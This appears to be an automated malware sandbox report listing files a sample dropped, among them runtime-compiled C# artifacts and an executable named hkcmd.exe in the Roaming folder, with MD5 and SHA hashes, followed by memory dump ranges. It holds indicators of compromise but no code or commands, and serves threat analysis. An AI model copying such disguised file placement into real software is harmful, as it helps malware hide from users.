C:\Users\Admin\AppData\Local\Temp\pensum

Filesize
264KB

MD5
23d91bc6f8608c8d788890539b6127f3

SHA1
233692af0c89d215fb032d35c33190d19a581985

SHA256
5cde9e3dbfa9f051254881198aac9e3d103fde3e63780ed53f6a53a12c0e3e8b

SHA512
421d7eecce0d5b93067534ebe7c8108ffcbe5bc4bf8342d635879a4407479f10b52b4a09631ec6b970a1e5cf64f1b63c2c827ad19666c46c6ad7aac352a48c5c

Download Submit
C:\Users\Admin\AppData\Local\Temp\vcqikgni.dll

Filesize
3KB

MD5
4a7b916bb3433d9a3ee0b65b461cabe8

SHA1
abaa382b63c36c0bf70e2dcccf0bfd1c4e48db97

SHA256
d07fdb7cb430c358506b90d6c60927f315db5ff2974da66825842c8fc95864c7

SHA512
46bc2055a4ec8f2d483c148fcee31e217de32e4b0b9fc79efbc23ef96593532f4f36f4ca089833ed6ab2ed6aa3d01ca73a66de0b562e25a4faa0a18c8518c3e4

Download Submit
C:\Users\Admin\AppData\Local\Temp\vcqikgni.pdb

Filesize
7KB

MD5
47acdbd0f835508f9b9da38f6593b2a9

SHA1
6eb8b3c00c96e47e5fef2a098ed7ef0a392eee88

SHA256
7ce0bde55e2e9111a3fc4a9e5e115112d3347a6a1f47b917b7b35ad6d17ea807

SHA512
52de362ccd4c85d0d4b795d3c9e2f167d15264e38c87aee55158b3134f5f6d51ab2e2ac30f1c5e6b2c79d466c46f1077cad9ea2a94f48d5bc82e5c4c586cd28e

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\CSC6AF3.tmp

Filesize
652B

MD5
2b03dd1dd8f23c22460891a85aa228e5

SHA1
6bd0a432339bbb7f3b78788b01b723144ed80c50

SHA256
e44e24242b9724eae0015ff1e4b185f7e932e569c3c272a9d37bb8ad07f77acd

SHA512
08c3a1ded9473d9503551300a331ee5deae5216c4bead6807ce205ab5a728cd430e9e266a26e27beea7fd0864464a4d2fab01146f14bef3e1d9c28ac688530af

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\vcqikgni.0.cs

Filesize
443B

MD5
62428a5441b9e6016ca35fb63a889ce1

SHA1
cc4bcfec8130f8539645c80410d6b72403b46bb8

SHA256
3624c195a637f25ff4b397f6e3e0f9395bab69e64f6c65d33f6e0f20f64d2ce9

SHA512
72f5b42f94057bc07f4171739300d058972a57c54fa05b7fe95015a00a17c75fff036227e6c9525ac2d757eff4f02c99a8eb62ba2a8eb27ed6059e1734971624

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\vcqikgni.cmdline

Filesize
309B

MD5
c686c365f3fd946e07d0248bc615c4c3

SHA1
28c807ea0861100ffc1a2e4f36e47f2fb530dc92

SHA256
8a966642b59a167a2baa5aa94ccbb9cf2abad295e4c5b999d5ae3c6f741b1a9a

SHA512
2e233f4a8211417872c6ea9e917f1c638da504968aedc48800e97ed455e63b7cc6c2736a5f5c0a08379b96843cdddcbee4dec69ea30c807b2a26277df019bbb0

Download Submit
\Users\Admin\AppData\Roaming\hkcmd.exe

Filesize
1.1MB

MD5
c3ebea7cd7e96887d0fffff22bf00101

SHA1
1e2a2b28d96799f978d86cfb14744e92aeb18220

SHA256
b0e6a88e88c1285509436037b3a3f41f4736460bdd64db7086e032fa2cee4832

SHA512
310c12aff1dd0b13f1a9a3897969bf9b90cdb950660efc27a97093f979dc9c06563a9d596b4511225cfe924311fdbf5233b48dd2bcddfbcb44642ee9eb22ebc8

Download Submit
memory/1596-49-0x0000000000400000-0x0000000000442000-memory.dmp

Filesize
264KB

Download
memory/1724-50-0x00000000721BD000-0x00000000721C8000-memory.dmp

Filesize
44KB

Download
memory/1724-1-0x00000000721BD000-0x00000000721C8000-memory.dmp

Filesize
44KB

Download
memory/1724-5-0x0000000002240000-0x0000000002242000-memory.dmp

Filesize
8KB

Download
memory/1724-0-0x000000005FFF0000-0x0000000060000000-memory.dmp

Filesize
64KB

Download
memory/1724-53-0x0000000008A00000-0x0000000008AF9000-memory.dmp

Filesize
996KB

Download
memory/1724-61-0x000000005FFF0000-0x0000000060000000-memory.dmp

Filesize
64KB

Download
memory/1724-66-0x0000000008A00000-0x0000000008AF9000-memory.dmp

Filesize
996KB

Download
memory/1724-67-0x00000000721BD000-0x00000000721C8000-memory.dmp

Filesize
44KB

Download
memory/2284-51-0x0000000000080000-0x00000000000BF000-memory.dmp

Filesize
252KB

Download
memory/2284-52-0x0000000000080000-0x00000000000BF000-memory.dmp

Filesize
252KB

Download
memory/2284-58-0x0000000000080000-0x00000000000BF000-memory.dmp

Filesize
252KB

Download
memory/2956-4-0x0000000002860000-0x0000000002862000-memory.dmp

Filesize
8KB

Download